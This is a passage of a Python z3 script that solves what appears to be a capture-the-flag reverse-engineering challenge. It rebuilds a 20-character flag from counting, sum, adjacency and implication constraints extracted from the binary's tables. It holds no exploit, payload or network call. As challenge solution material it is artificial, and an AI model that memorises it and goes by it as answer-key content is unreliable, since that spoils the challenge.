    cnt[3] += z3.If(f == 68, z3.IntVal(1), z3.IntVal(0))
    cnt[4] += z3.If(f == 69, z3.IntVal(1), z3.IntVal(0))
    cnt[5] += z3.If(f == 70, z3.IntVal(1), z3.IntVal(0))
    cnt[6] += z3.If(f == 71, z3.IntVal(1), z3.IntVal(0))
    cnt[7] += z3.If(f == 72, z3.IntVal(1), z3.IntVal(0))
    cnt[8] += z3.If(f == 73, z3.IntVal(1), z3.IntVal(0))
    cnt[9] += z3.If(f == 74, z3.IntVal(1), z3.IntVal(0))
    cnt[10] += z3.If(f == 75, z3.IntVal(1), z3.IntVal(0))
    cnt[11] += z3.If(f == 76, z3.IntVal(1), z3.IntVal(0))
    cnt[12] += z3.If(f == 77, z3.IntVal(1), z3.IntVal(0))
    cnt[13] += z3.If(f == 78, z3.IntVal(1), z3.IntVal(0))
    cnt[14] += z3.If(f == 79, z3.IntVal(1), z3.IntVal(0))
    cnt[15] += z3.If(f == 80, z3.IntVal(1), z3.IntVal(0))
    cnt[16] += z3.If(f == 81, z3.IntVal(1), z3.IntVal(0))
    cnt[17] += z3.If(f == 82, z3.IntVal(1), z3.IntVal(0))
    cnt[18] += z3.If(f == 83, z3.IntVal(1), z3.IntVal(0))
    cnt[19] += z3.If(f == 84, z3.IntVal(1), z3.IntVal(0))
    cnt[20] += z3.If(f == 85, z3.IntVal(1), z3.IntVal(0))
    cnt[21] += z3.If(f == 86, z3.IntVal(1), z3.IntVal(0))
    cnt[22] += z3.If(f == 87, z3.IntVal(1), z3.IntVal(0))
    cnt[23] += z3.If(f == 88, z3.IntVal(1), z3.IntVal(0))
    cnt[24] += z3.If(f == 89, z3.IntVal(1), z3.IntVal(0))
    cnt[25] += z3.If(f == 90, z3.IntVal(1), z3.IntVal(0))
    cnt[26] += z3.If(f == 48, z3.IntVal(1), z3.IntVal(0))
    cnt[27] += z3.If(f == 49, z3.IntVal(1), z3.IntVal(0))
    cnt[28] += z3.If(f == 50, z3.IntVal(1), z3.IntVal(0))
    cnt[29] += z3.If(f == 51, z3.IntVal(1), z3.IntVal(0))
    cnt[30] += z3.If(f == 52, z3.IntVal(1), z3.IntVal(0))
    cnt[31] += z3.If(f == 53, z3.IntVal(1), z3.IntVal(0))
    cnt[32] += z3.If(f == 54, z3.IntVal(1), z3.IntVal(0))
    cnt[33] += z3.If(f == 55, z3.IntVal(1), z3.IntVal(0))
    cnt[34] += z3.If(f == 56, z3.IntVal(1), z3.IntVal(0))
    cnt[35] += z3.If(f == 57, z3.IntVal(1), z3.IntVal(0))

expected = [0, 2, 1, 0, 0, 0, 0, 0, 0, 0, 2, 0, 1, 0, 1, 2, 0, 0, 0, 0, 1, 1, 1, 0, 2, 0, 1, 0, 0, 0, 0, 0, 1, 1, 2, 1]
for i, exp in enumerate(expected):
    solver.add(cnt[i] == exp)

# Stage2
nums = [0, 7, 0xE, 0x11]
uppers = [0x3D, 0x24, 0x2C, 0x32]

for i in range(4):
    n = z3.BitVecVal(0, 8)
    u = z3.BitVecVal(0, 8)
    for j in range(5):
        idx = i * 5 + j
        n += z3.If(z3.And(ord('0') <= flag[idx], flag[idx] <= ord('9')), flag[idx] - z3.BitVecVal(ord('0'), 8), z3.BitVecVal(0, 8))
        u += z3.If(z3.And(ord('A') <= flag[idx], flag[idx] <= ord('Z')), flag[idx] - z3.BitVecVal(ord('A'), 8), z3.BitVecVal(0, 8))

    solver.add(n == nums[i])
    solver.add(u == uppers[i])

# Stage3
for i in range(19):
    solver.add(z3.Implies(flag[i] == 65, z3.Or(*[flag[i+1] == x for x in [0x48, 0x4F, 0x57, 0x46, 0x4D, 0x32, 0x41, 0x31, 0x54, 0x45, 0x53, 0x58, 0x30, 0x4B, 0x43, 0x51, 0x35, 0x42, 0x59, 0x44, 0x4A, 0x37, 0x50, 0x38]])))
    solver.add(z3.Implies(flag[i] == 66, z3.Or(*[flag[i+1] == x for x in [0x33, 0x44, 0x5A, 0x4A, 0x48, 0x42, 0x32, 0x55, 0x4F, 0x53, 0x39, 0x4D, 0x54, 0x38, 0x4C, 0x4E, 0x57, 0x4B, 0x45, 0x46, 0x56, 0x36, 0x49, 0x37]])))
    solver.add(z3.Implies(flag[i] == 67, z3.Or(*[flag[i+1] == x for x in [0x4E, 0x41, 0x4B, 0x31, 0x4C, 0x51, 0x48, 0x58, 0x55, 0x4F, 0x57, 0x5A, 0x36, 0x45, 0x44, 0x39, 0x52, 0x53, 0x30, 0x42, 0x4A, 0x37, 0x54, 0x35]])))
    solver.add(z3.Implies(flag[i] == 68, z3.Or(*[flag[i+1] == x for x in [0x48, 0x39, 0x4F, 0x4A, 0x56, 0x36, 0x4D, 0x31, 0x53, 0x41, 0x50, 0x43, 0x35, 0x47, 0x57, 0x30, 0x55, 0x45, 0x38, 0x49, 0x5A, 0x59, 0x51, 0x4E]])))
    solver.add(z3.Implies(flag[i] == 69, z3.Or(*[flag[i+1] == x for x in [0x57, 0x39, 0x56, 0x55, 0x34, 0x36, 0x49, 0x46, 0x59, 0x50, 0x4E, 0x4A, 0x58, 0x4F, 0x32, 0x43, 0x41, 0x31, 0x37, 0x4B, 0x47, 0x30, 0x44, 0x4D]])))
    solver.add(z3.Implies(flag[i] == 70, z3.Or(*[flag[i+1] == x for x in [0x48, 0x39, 0x4D, 0x51, 0x46, 0x31, 0x57, 0x47, 0x56, 0x30, 0x43, 0x4E, 0x49, 0x38, 0x42, 0x41, 0x4C, 0x55, 0x58, 0x53, 0x44, 0x52, 0x5A, 0x33]])))
    solver.add(z3.Implies(flag[i] == 71, z3.Or(*[flag[i+1] == x for x in [0x37, 0x31, 0x33, 0x38, 0x55, 0x53, 0x35, 0x44, 0x4A, 0x4D, 0x4E, 0x4C, 0x58, 0x49, 0x47, 0x54, 0x59, 0x36, 0x30, 0x57, 0x5A, 0x50, 0x34, 0x39]])))
    solver.add(z3.Implies(flag[i] == 72, z3.Or(*[flag[i+1] == x for x in [0x31, 0x34, 0x33, 0x36, 0x38, 0x4D, 0x44, 0x56, 0x4A, 0x4E, 0x52, 0x49, 0x35, 0x4F, 0x32, 0x53, 0x4C, 0x48, 0x55, 0x58, 0x42, 0x5A, 0x30, 0x43]])))
    solver.add(z3.Implies(flag[i] == 73, z3.Or(*[flag[i+1] == x for x in [0x48, 0x31, 0x49, 0x34, 0x59, 0x4C, 0x5A, 0x41, 0x32, 0x55, 0x35, 0x44, 0x39, 0x43, 0x47, 0x37, 0x4A, 0x46, 0x4D, 0x58, 0x42, 0x51, 0x53, 0x30]])))
    solver.add(z3.Implies(flag[i] == 74, z3.Or(*[flag[i+1] == x for x in [0x39, 0x48, 0x47, 0x59, 0x4F, 0x36, 0x31, 0x37, 0x5A, 0x30, 0x46, 0x55, 0x4C, 0x56, 0x45, 0x50, 0x53, 0x4A, 0x41, 0x58, 0x52, 0x42, 0x57, 0x51]])))
    solver.add(z3.Implies(flag[i] == 75, z3.Or(*[flag[i+1] == x for x in [0x35, 0x54, 0x57, 0x31, 0x41, 0x50, 0x38, 0x4D, 0x46, 0x44, 0x36, 0x4F, 0x4B, 0x4A, 0x43, 0x30, 0x51, 0x42, 0x48, 0x49, 0x32, 0x45, 0x39, 0x34]])))
    solver.add(z3.Implies(flag[i] == 76, z3.Or(*[flag[i+1] == x for x in [0x4A, 0x44, 0x5A, 0x52, 0x36, 0x4F, 0x41, 0x57, 0x33, 0x31, 0x42, 0x39, 0x48, 0x47, 0x32, 0x37, 0x58, 0x59, 0x56, 0x4E, 0x45, 0x55, 0x38, 0x46]])))
    solver.add(z3.Implies(flag[i] == 77, z3.Or(*[flag[i+1] == x for x in [0x30, 0x45, 0x56, 0x39, 0x59, 0x44, 0x38, 0x51, 0x35, 0x50, 0x5A, 0x4E, 0x42, 0x47, 0x55, 0x31, 0x4D, 0x58, 0x54, 0x33, 0x49, 0x41, 0x43, 0x57]])))
    solver.add(z3.Implies(flag[i] == 78, z3.Or(*[flag[i+1] == x for x in [0x47, 0x48, 0x56, 0x38, 0x54, 0x59, 0x35, 0x49, 0x41, 0x4A, 0x43, 0x58, 0x4E, 0x55, 0x4F, 0x33, 0x34, 0x31, 0x52, 0x50, 0x4B, 0x32, 0x4C, 0x4D]])))
    solver.add(z3.Implies(flag[i] == 79, z3.Or(*[flag[i+1] == x for x in [0x42, 0x4F, 0x57, 0x4D, 0x37, 0x38, 0x34, 0x4B, 0x30, 0x55, 0x52, 0x32, 0x4C, 0x4A, 0x31, 0x59, 0x50, 0x45, 0x49, 0x56, 0x41, 0x53, 0x36, 0x39]])))
    solver.add(z3.Implies(flag[i] == 80, z3.Or(*[flag[i+1] == x for x in [0x46, 0x34, 0x30, 0x37, 0x38, 0x47, 0x4E, 0x42, 0x5A, 0x45, 0x4D, 0x35, 0x43, 0x39, 0x44, 0x48, 0x31, 0x50, 0x55, 0x4C, 0x49, 0x54, 0x41, 0x56]])))
    solver.add(z3.Implies(flag[i] == 81, z3.Or(*[flag[i+1] == x for x in [0x54, 0x49, 0x58, 0x50, 0x56, 0x38, 0x52, 0x31, 0x35, 0x37, 0x4E, 0x4A, 0x4C, 0x36, 0x45, 0x59, 0x42, 0x44, 0x55, 0x46, 0x4F, 0x57, 0x4D, 0x47]])))
    solver.add(z3.Implies(flag[i] == 82, z3.Or(*[flag[i+1] == x for x in [0x42, 0x48, 0x53, 0x4F, 0x30, 0x46, 0x56, 0x5A, 0x45, 0x35, 0x34, 0x59, 0x36, 0x39, 0x51, 0x52, 0x31, 0x44, 0x49, 0x33, 0x4D, 0x50, 0x47, 0x55]])))
    solver.add(z3.Implies(flag[i] == 83, z3.Or(*[flag[i+1] == x for x in [0x51, 0x38, 0x32, 0x4A, 0x58, 0x54, 0x56, 0x30, 0x57, 0x37, 0x34, 0x41, 0x53, 0x59, 0x33, 0x55, 0x52, 0x4F, 0x47, 0x5A, 0x46, 0x42, 0x35, 0x45]])))
    solver.add(z3.Implies(flag[i] == 84, z3.Or(*[flag[i+1] == x for x in [0x4F, 0x45, 0x37, 0x5A, 0x4B, 0x33, 0x47, 0x55, 0x50, 0x59, 0x54, 0x57, 0x41, 0x46, 0x4A, 0x58, 0x34, 0x49, 0x32, 0x52, 0x51, 0x4C, 0x4E, 0x39]])))
    solver.add(z3.Implies(flag[i] == 85, z3.Or(*[flag[i+1] == x for x in [0x4E, 0x45, 0x4A, 0x48, 0x43, 0x31, 0x4F, 0x46, 0x53, 0x42, 0x4D, 0x49, 0x44, 0x55, 0x33, 0x50, 0x56, 0x32, 0x37, 0x51, 0x39, 0x36, 0x59, 0x57]])))
    solver.add(z3.Implies(flag[i] == 86, z3.Or(*[flag[i+1] == x for x in [0x54, 0x4D, 0x42, 0x4A, 0x39, 0x35, 0x5A, 0x49, 0x53, 0x51, 0x30, 0x4C, 0x34, 0x59, 0x57, 0x4B, 0x56, 0x4E, 0x37, 0x55, 0x43, 0x32, 0x46, 0x36]])))
    solver.add(z3.Implies(flag[i] == 87, z3.Or(*[flag[i+1] == x for x in [0x53, 0x36, 0x5A, 0x48, 0x51, 0x34, 0x43, 0x59, 0x4D, 0x44, 0x33, 0x39, 0x30, 0x45, 0x38, 0x42, 0x41, 0x4F, 0x4B, 0x4E, 0x56, 0x46, 0x37, 0x4A]])))
    solver.add(z3.Implies(flag[i] == 88, z3.Or(*[flag[i+1] == x for x in [0x58, 0x36, 0x35, 0x39, 0x5A, 0x37, 0x33, 0x4D, 0x43, 0x44, 0x49, 0x4E, 0x4F, 0x4B, 0x34, 0x54, 0x4A, 0x46, 0x31, 0x47, 0x53, 0x57, 0x48, 0x45]])))
    solver.add(z3.Implies(flag[i] == 89, z3.Or(*[flag[i+1] == x for x in [0x4C, 0x47, 0x34, 0x45, 0x32, 0x36, 0x35, 0x46, 0x58, 0x38, 0x4E, 0x56, 0x5A, 0x49, 0x39, 0x54, 0x53, 0x43, 0x33, 0x4B, 0x50, 0x37, 0x48, 0x44]])))
    solver.add(z3.Implies(flag[i] == 90, z3.Or(*[flag[i+1] == x for x in [0x34, 0x52, 0x44, 0x32, 0x53, 0x4E, 0x4A, 0x41, 0x38, 0x35, 0x4F, 0x49, 0x36, 0x39, 0x4C, 0x58, 0x43, 0x54, 0x45, 0x50, 0x37, 0x57, 0x4D, 0x31]])))
    solver.add(z3.Implies(flag[i] == 48, z3.Or(*[flag[i+1] == x for x in [0x4D, 0x54, 0x47, 0x4B, 0x30, 0x51, 0x33, 0x35, 0x5A, 0x57, 0x52, 0x41, 0x45, 0x50, 0x56, 0x46, 0x4A, 0x48, 0x59, 0x32, 0x53, 0x58, 0x4C, 0x44]])))
    solver.add(z3.Implies(flag[i] == 49, z3.Or(*[flag[i+1] == x for x in [0x44, 0x5A, 0x43, 0x49, 0x54, 0x37, 0x57, 0x4D, 0x4B, 0x4E, 0x32, 0x46, 0x30, 0x52, 0x33, 0x50, 0x59, 0x51, 0x4F, 0x53, 0x45, 0x31, 0x36, 0x39]])))
    solver.add(z3.Implies(flag[i] == 50, z3.Or(*[flag[i+1] == x for x in [0x55, 0x54, 0x43, 0x4F, 0x36, 0x56, 0x57, 0x58, 0x47, 0x59, 0x30, 0x38, 0x32, 0x4A, 0x41, 0x4D, 0x5A, 0x4B, 0x35, 0x31, 0x33, 0x46, 0x42, 0x45]])))
    solver.add(z3.Implies(flag[i] == 51, z3.Or(*[flag[i+1] == x for x in [0x30, 0x41, 0x47, 0x45, 0x44, 0x36, 0x49, 0x52, 0x5A, 0x48, 0x4F, 0x56, 0x54, 0x57, 0x31, 0x4E, 0x51, 0x4A, 0x53, 0x4D, 0x50, 0x58, 0x32, 0x46]])))
    solver.add(z3.Implies(flag[i] == 52, z3.Or(*[flag[i+1] == x for x in [0x4E, 0x48, 0x4A, 0x39, 0x47, 0x32, 0x56, 0x37, 0x4C, 0x4B, 0x59, 0x49, 0x33, 0x44, 0x4D, 0x52, 0x50, 0x43, 0x54, 0x34, 0x58, 0x38, 0x41, 0x35]])))
    solver.add(z3.Implies(flag[i] == 53, z3.Or(*[flag[i+1] == x for x in [0x35, 0x32, 0x51, 0x33, 0x59, 0x37, 0x4A, 0x5A, 0x50, 0x58, 0x44, 0x4C, 0x46, 0x42, 0x38, 0x39, 0x55, 0x4B, 0x47, 0x45, 0x4F, 0x56, 0x48, 0x30]])))
    solver.add(z3.Implies(flag[i] == 54, z3.Or(*[flag[i+1] == x for x in [0x37, 0x53, 0x30, 0x42, 0x41, 0x44, 0x50, 0x4A, 0x33, 0x55, 0x46, 0x49, 0x58, 0x34, 0x48, 0x39, 0x54, 0x35, 0x4F, 0x59, 0x45, 0x47, 0x4B, 0x52]])))
    solver.add(z3.Implies(flag[i] == 55, z3.Or(*[flag[i+1] == x for x in [0x56, 0x52, 0x4C, 0x46, 0x55, 0x48, 0x35, 0x4A, 0x4B, 0x53, 0x4E, 0x42, 0x45, 0x57, 0x36, 0x49, 0x58, 0x43, 0x41, 0x37, 0x54, 0x34, 0x5A, 0x50]])))
    solver.add(z3.Implies(flag[i] == 56, z3.Or(*[flag[i+1] == x for x in [0x59, 0x5A, 0x53, 0x34, 0x36, 0x57, 0x4B, 0x56, 0x33, 0x4F, 0x55, 0x35, 0x52, 0x38, 0x54, 0x49, 0x48, 0x43, 0x31, 0x44, 0x41, 0x32, 0x4C, 0x30]])))
    solver.add(z3.Implies(flag[i] == 57, z3.Or(*[flag[i+1] == x for x in [0x47, 0x39, 0x58, 0x5A, 0x49, 0x35, 0x54, 0x45, 0x44, 0x33, 0x4A, 0x43, 0x55, 0x53, 0x31, 0x46, 0x41, 0x4D, 0x37, 0x52, 0x56, 0x42, 0x36, 0x50]])))


# Stage4
solver.add(flag[15] == 89)
solver.add(flag[17] == 77)
solver.add(flag[18] == 56)

# TB_100938 = [0x4900000000,0x3500000012,0x5900000000,0x4F0000000B,0x5600000000,0x550000000E,0x4C00000000,0x4900000006,0x3600000000,0x5A00000004,0x3700000000,0x5700000003,0x3100000000,0x4900000011,0x5800000000,0x3300000008,0x3700000000,0x4D0000000C,0x4300000000,0x430000000D,0x4A00000001,0x5400000003,0x5500000001,0x3400000000,0x5000000001,0x420000000B,0x4C00000001,0x4700000002,0x5600000001,0x3600000012,0x4400000001,0x350000000F,0x4D00000001,0x4F00000005,0x4D00000001,0x540000000D,0x3800000001,0x5500000007,0x5800000001,0x5000000011,0x5800000002,0x4400000005,0x5900000002,0x4B00000000,0x4D00000002,0x5600000003,0x5900000002,0x5A0000000D,0x4700000002,0x4F0000000C,0x4500000002,0x5700000013,0x3100000002,0x5800000007,0x4600000002,0x4600000008,0x4500000002,0x5500000001,0x5200000002,0x510000000B,0x4400000003,0x5000000013,0x3900000003,0x5800000001,0x4E00000003,0x510000000B,0x4C00000003,0x5200000009,0x4500000003,0x480000000C,0x5900000003,0x300000000E,0x4A00000003,0x4100000006,0x4700000003,0x3000000000,0x5200000003,0x3800000008,0x5600000003,0x3600000007,0x3900000004,0x4200000000,0x4A00000004,0x4500000010,0x3700000004,0x3200000006,0x4B00000004,0x4D00000011,0x4A00000004,0x590000000F,0x3300000004,0x5400000008,0x3300000004,0x5400000001,0x4C00000004,0x4200000003,0x5200000004,0x480000000D,0x3200000004,0x570000000B,0x4200000005,0x560000000B,0x4A00000005,0x3000000013,0x3100000005,0x5200000012,0x3600000005,0x4D00000006,0x5400000005,0x4400000000,0x4B00000005,0x570000000E,0x4200000005,0x4A0000000F,0x4500000005,0x4400000010,0x5500000005,0x4C00000011,0x4B00000005,0x4B00000004,0x5200000006,0x3200000005,0x4600000006,0x4200000013,0x4F00000006,0x4D0000000D,0x5300000006,0x560000000B,0x3000000006,0x590000000F,0x3200000006,0x4D00000009,0x3300000006,0x360000000A,0x5600000006,0x4200000000,0x5A00000006,0x300000000E,0x4200000006,0x4400000001,0x5800000007,0x3800000012,0x3100000007,0x570000000F,0x3300000007,0x5000000002,0x4F00000007,0x410000000A,0x3400000007,0x4A00000008,0x4600000007,0x5500000011,0x3900000007,0x3400000005,0x5200000007,0x5100000006,0x5500000007,0x4E0000000E,0x4F00000007,0x4800000010,0x4E00000008,0x4B0000000F,0x3300000008,0x5400000012,0x3400000008,0x4F0000000A,0x3800000008,0x3900000011,0x5600000008,0x540000000B,0x4D00000008,0x4700000013,0x4300000008,0x5800000010,0x3400000008,0x370000000C,0x5200000008,0x4600000006,0x4E00000008,0x500000000D,0x5200000009,0x5200000005,0x3300000009,0x4100000007,0x4900000009,0x4700000003,0x5900000009,0x5800000011,0x5400000009,0x410000000B,0x3200000009,0x3300000010,0x4700000009,0x5200000000,0x4200000009,0x3300000006,0x5100000009,0x4C0000000F,0x3400000009,0x560000000D,0x570000000A,0x5100000002,0x300000000A,0x4E00000009,0x4D0000000A,0x3600000006,0x330000000A,0x580000000B,0x490000000A,0x380000000C,0x520000000A,0x460000000F,0x570000000A,0x410000000E,0x450000000A,0x3400000005,0x550000000A,0x4B00000011,0x330000000A,0x4100000003,0x4F0000000B,0x3400000000,0x4D0000000B,0x5300000008,0x4A0000000B,0x5200000011,0x5A0000000B,0x4700000005,0x520000000B,0x410000000C,0x390000000B,0x310000000D,0x320000000B,0x5000000002,0x320000000B,0x480000000E,0x340000000B,0x5400000010,0x420000000B,0x5000000001,0x380000000C,0x5000000001,0x4F0000000C,0x4300000001,0x540000000C,0x310000000B,0x340000000C,0x360000000D,0x370000000C,0x5400000006,0x350000000C,0x4500000007,0x500000000C,0x5300000013,0x4D0000000C,0x4A0000000E,0x500000000C,0x4900000009,0x570000000C,0x4100000010,0x5A0000000D,0x3700000002,0x4E0000000D,0x3800000000,0x560000000D,0x3700000008,0x450000000D,0x3600000007,0x550000000D,0x4300000012,0x560000000D,0x3900000010,0x570000000D,0x4400000005,0x560000000D,0x5000000001,0x370000000D,0x360000000F,0x320000000D,0x510000000A,0x340000000E,0x4E0000000D,0x460000000E,0x3600000009,0x370000000E,0x3200000012,0x4B0000000E,0x480000000B,0x460000000E,0x3600000001,0x570000000E,0x4B00000004,0x410000000E,0x4600000002,0x300000000E,0x5900000006,0x480000000E,0x4200000010,0x4E0000000E,0x540000000F,0x420000000F,0x3500000009,0x590000000F,0x360000000A,0x480000000F,0x300000000D,0x420000000F,0x530000000B,0x4C0000000F,0x5400000011,0x500000000F,0x5700000003,0x4C0000000F,0x3200000001,0x480000000F,0x4F00000008,0x510000000F,0x4300000002,0x4E0000000F,0x3400000010,0x3900000010,0x360000000A,0x4F00000010,0x510000000B,0x4200000010,0x4B00000006,0x3200000010,0x3800000005,0x4900000010,0x4900000013,0x3900000010,0x4D00000011,0x4800000010,0x5400000000,0x4A00000010,0x3200000001,0x5700000010,0x430000000F,0x5100000010,0x4500000004,0x4C00000011,0x440000000F,0x5200000011,0x4F00000004,0x4800000011,0x4300000006,0x3800000011,0x3200000008,0x4D00000011,0x5000000002,0x3800000011,0x3100000000,0x5A00000011,0x5A0000000A,0x4300000011,0x310000000D,0x3300000011,0x3300000012,0x4B00000011,0x3900000005,0x3800000012,0x4B00000005,0x4600000012,0x4F0000000B,0x4D00000012,0x5500000011,0x5300000012,0x4B00000000,0x4600000012,0x3100000003,0x3100000012,0x470000000D,0x3600000012,0x3600000004,0x3100000012,0x5400000006,0x4500000012,0x3700000013,0x4200000012,0x5200000008,0x3200000013,0x5600000008,0x4700000013,0x460000000E,0x5700000013,0x4D00000009,0x4300000013,0x570000000D,0x5600000013,0x4700000004,0x4200000013,0x3700000002,0x4900000013,0x3800000001,0x4700000013,0x3200000005,0x5400000013,0x440000000C,0x4500000013,0x420000000B]
# TB_100940 = [0x3500000012,0x5900000000,0x4F0000000B,0x5600000000,0x550000000E,0x4C00000000,0x4900000006,0x3600000000,0x5A00000004,0x3700000000,0x5700000003,0x3100000000,0x4900000011,0x5800000000,0x3300000008,0x3700000000,0x4D0000000C,0x4300000000,0x430000000D,0x4A00000001,0x5400000003,0x5500000001,0x3400000000,0x5000000001,0x420000000B,0x4C00000001,0x4700000002,0x5600000001,0x3600000012,0x4400000001,0x350000000F,0x4D00000001,0x4F00000005,0x4D00000001,0x540000000D,0x3800000001,0x5500000007,0x5800000001,0x5000000011,0x5800000002,0x4400000005,0x5900000002,0x4B00000000,0x4D00000002,0x5600000003,0x5900000002,0x5A0000000D,0x4700000002,0x4F0000000C,0x4500000002,0x5700000013,0x3100000002,0x5800000007,0x4600000002,0x4600000008,0x4500000002,0x5500000001,0x5200000002,0x510000000B,0x4400000003,0x5000000013,0x3900000003,0x5800000001,0x4E00000003,0x510000000B,0x4C00000003,0x5200000009,0x4500000003,0x480000000C,0x5900000003,0x300000000E,0x4A00000003,0x4100000006,0x4700000003,0x3000000000,0x5200000003,0x3800000008,0x5600000003,0x3600000007,0x3900000004,0x4200000000,0x4A00000004,0x4500000010,0x3700000004,0x3200000006,0x4B00000004,0x4D00000011,0x4A00000004,0x590000000F,0x3300000004,0x5400000008,0x3300000004,0x5400000001,0x4C00000004,0x4200000003,0x5200000004,0x480000000D,0x3200000004,0x570000000B,0x4200000005,0x560000000B,0x4A00000005,0x3000000013,0x3100000005,0x5200000012,0x3600000005,0x4D00000006,0x5400000005,0x4400000000,0x4B00000005,0x570000000E,0x4200000005,0x4A0000000F,0x4500000005,0x4400000010,0x5500000005,0x4C00000011,0x4B00000005,0x4B00000004,0x5200000006,0x3200000005,0x4600000006,0x4200000013,0x4F00000006,0x4D0000000D,0x5300000006,0x560000000B,0x3000000006,0x590000000F,0x3200000006,0x4D00000009,0x3300000006,0x360000000A,0x5600000006,0x4200000000,0x5A00000006,0x300000000E,0x4200000006,0x4400000001,0x5800000007,0x3800000012,0x3100000007,0x570000000F,0x3300000007,0x5000000002,0x4F00000007,0x410000000A,0x3400000007,0x4A00000008,0x4600000007,0x5500000011,0x3900000007,0x3400000005,0x5200000007,0x5100000006,0x5500000007,0x4E0000000E,0x4F00000007,0x4800000010,0x4E00000008,0x4B0000000F,0x3300000008,0x5400000012,0x3400000008,0x4F0000000A,0x3800000008,0x3900000011,0x5600000008,0x540000000B,0x4D00000008,0x4700000013,0x4300000008,0x5800000010,0x3400000008,0x370000000C,0x5200000008,0x4600000006,0x4E00000008,0x500000000D,0x5200000009,0x5200000005,0x3300000009,0x4100000007,0x4900000009,0x4700000003,0x5900000009,0x5800000011,0x5400000009,0x410000000B,0x3200000009,0x3300000010,0x4700000009,0x5200000000,0x4200000009,0x3300000006,0x5100000009,0x4C0000000F,0x3400000009,0x560000000D,0x570000000A,0x5100000002,0x300000000A,0x4E00000009,0x4D0000000A,0x3600000006,0x330000000A,0x580000000B,0x490000000A,0x380000000C,0x520000000A,0x460000000F,0x570000000A,0x410000000E,0x450000000A,0x3400000005,0x550000000A,0x4B00000011,0x330000000A,0x4100000003,0x4F0000000B,0x3400000000,0x4D0000000B,0x5300000008,0x4A0000000B,0x5200000011,0x5A0000000B,0x4700000005,0x520000000B,0x410000000C,0x390000000B,0x310000000D,0x320000000B,0x5000000002,0x320000000B,0x480000000E,0x340000000B,0x5400000010,0x420000000B,0x5000000001,0x380000000C,0x5000000001,0x4F0000000C,0x4300000001,0x540000000C,0x310000000B,0x340000000C,0x360000000D,0x370000000C,0x5400000006,0x350000000C,0x4500000007,0x500000000C,0x5300000013,0x4D0000000C,0x4A0000000E,0x500000000C,0x4900000009,0x570000000C,0x4100000010,0x5A0000000D,0x3700000002,0x4E0000000D,0x3800000000,0x560000000D,0x3700000008,0x450000000D,0x3600000007,0x550000000D,0x4300000012,0x560000000D,0x3900000010,0x570000000D,0x4400000005,0x560000000D,0x5000000001,0x370000000D,0x360000000F,0x320000000D,0x510000000A,0x340000000E,0x4E0000000D,0x460000000E,0x3600000009,0x370000000E,0x3200000012,0x4B0000000E,0x480000000B,0x460000000E,0x3600000001,0x570000000E,0x4B00000004,0x410000000E,0x4600000002,0x300000000E,0x5900000006,0x480000000E,0x4200000010,0x4E0000000E,0x540000000F,0x420000000F,0x3500000009,0x590000000F,0x360000000A,0x480000000F,0x300000000D,0x420000000F,0x530000000B,0x4C0000000F,0x5400000011,0x500000000F,0x5700000003,0x4C0000000F,0x3200000001,0x480000000F,0x4F00000008,0x510000000F,0x4300000002,0x4E0000000F,0x3400000010,0x3900000010,0x360000000A,0x4F00000010,0x510000000B,0x4200000010,0x4B00000006,0x3200000010,0x3800000005,0x4900000010,0x4900000013,0x3900000010,0x4D00000011,0x4800000010,0x5400000000,0x4A00000010,0x3200000001,0x5700000010,0x430000000F,0x5100000010,0x4500000004,0x4C00000011,0x440000000F,0x5200000011,0x4F00000004,0x4800000011,0x4300000006,0x3800000011,0x3200000008,0x4D00000011,0x5000000002,0x3800000011,0x3100000000,0x5A00000011,0x5A0000000A,0x4300000011,0x310000000D,0x3300000011,0x3300000012,0x4B00000011,0x3900000005,0x3800000012,0x4B00000005,0x4600000012,0x4F0000000B,0x4D00000012,0x5500000011,0x5300000012,0x4B00000000,0x4600000012,0x3100000003,0x3100000012,0x470000000D,0x3600000012,0x3600000004,0x3100000012,0x5400000006,0x4500000012,0x3700000013,0x4200000012,0x5200000008,0x3200000013,0x5600000008,0x4700000013,0x460000000E,0x5700000013,0x4D00000009,0x4300000013,0x570000000D,0x5600000013,0x4700000004,0x4200000013,0x3700000002,0x4900000013,0x3800000001,0x4700000013,0x3200000005,0x5400000013,0x440000000C,0x4500000013,0x420000000B]

# for k in range(20):
#     for l in range(10):
#         _10kl = k*10 + l
#         tmp = TB_100938[_10kl*2] >> 0x20
#         A = TB_100940[_10kl*2] & 0xFF
#         B = TB_100940[_10kl*2] >> 0x20
#         print(f"solver.add(z3.Implies(flag[{k}] == {tmp}, flag[{A}] == {B}))")

solver.add(z3.Implies(flag[0] == 73, flag[18] == 53))
solver.add(z3.Implies(flag[0] == 89, flag[11] == 79))
solver.add(z3.Implies(flag[0] == 86, flag[14] == 85))
solver.add(z3.Implies(flag[0] == 76, flag[6] == 73))
solver.add(z3.Implies(flag[0] == 54, flag[4] == 90))
solver.add(z3.Implies(flag[0] == 55, flag[3] == 87))
solver.add(z3.Implies(flag[0] == 49, flag[17] == 73))
solver.add(z3.Implies(flag[0] == 88, flag[8] == 51))
solver.add(z3.Implies(flag[0] == 55, flag[12] == 77))
solver.add(z3.Implies(flag[0] == 67, flag[13] == 67))
solver.add(z3.Implies(flag[1] == 74, flag[3] == 84))
solver.add(z3.Implies(flag[1] == 85, flag[0] == 52))
solver.add(z3.Implies(flag[1] == 80, flag[11] == 66))
solver.add(z3.Implies(flag[1] == 76, flag[2] == 71))
solver.add(z3.Implies(flag[1] == 86, flag[18] == 54))
solver.add(z3.Implies(flag[1] == 68, flag[15] == 53))
solver.add(z3.Implies(flag[1] == 77, flag[5] == 79))
solver.add(z3.Implies(flag[1] == 77, flag[13] == 84))
solver.add(z3.Implies(flag[1] == 56, flag[7] == 85))
solver.add(z3.Implies(flag[1] == 88, flag[17] == 80))
solver.add(z3.Implies(flag[2] == 88, flag[5] == 68))
solver.add(z3.Implies(flag[2] == 89, flag[0] == 75))
solver.add(z3.Implies(flag[2] == 77, flag[3] == 86))
solver.add(z3.Implies(flag[2] == 89, flag[13] == 90))
solver.add(z3.Implies(flag[2] == 71, flag[12] == 79))
solver.add(z3.Implies(flag[2] == 69, flag[19] == 87))
solver.add(z3.Implies(flag[2] == 49, flag[7] == 88))
solver.add(z3.Implies(flag[2] == 70, flag[8] == 70))
solver.add(z3.Implies(flag[2] == 69, flag[1] == 85))
solver.add(z3.Implies(flag[2] == 82, flag[11] == 81))
solver.add(z3.Implies(flag[3] == 68, flag[19] == 80))
solver.add(z3.Implies(flag[3] == 57, flag[1] == 88))
solver.add(z3.Implies(flag[3] == 78, flag[11] == 81))
solver.add(z3.Implies(flag[3] == 76, flag[9] == 82))
solver.add(z3.Implies(flag[3] == 69, flag[12] == 72))
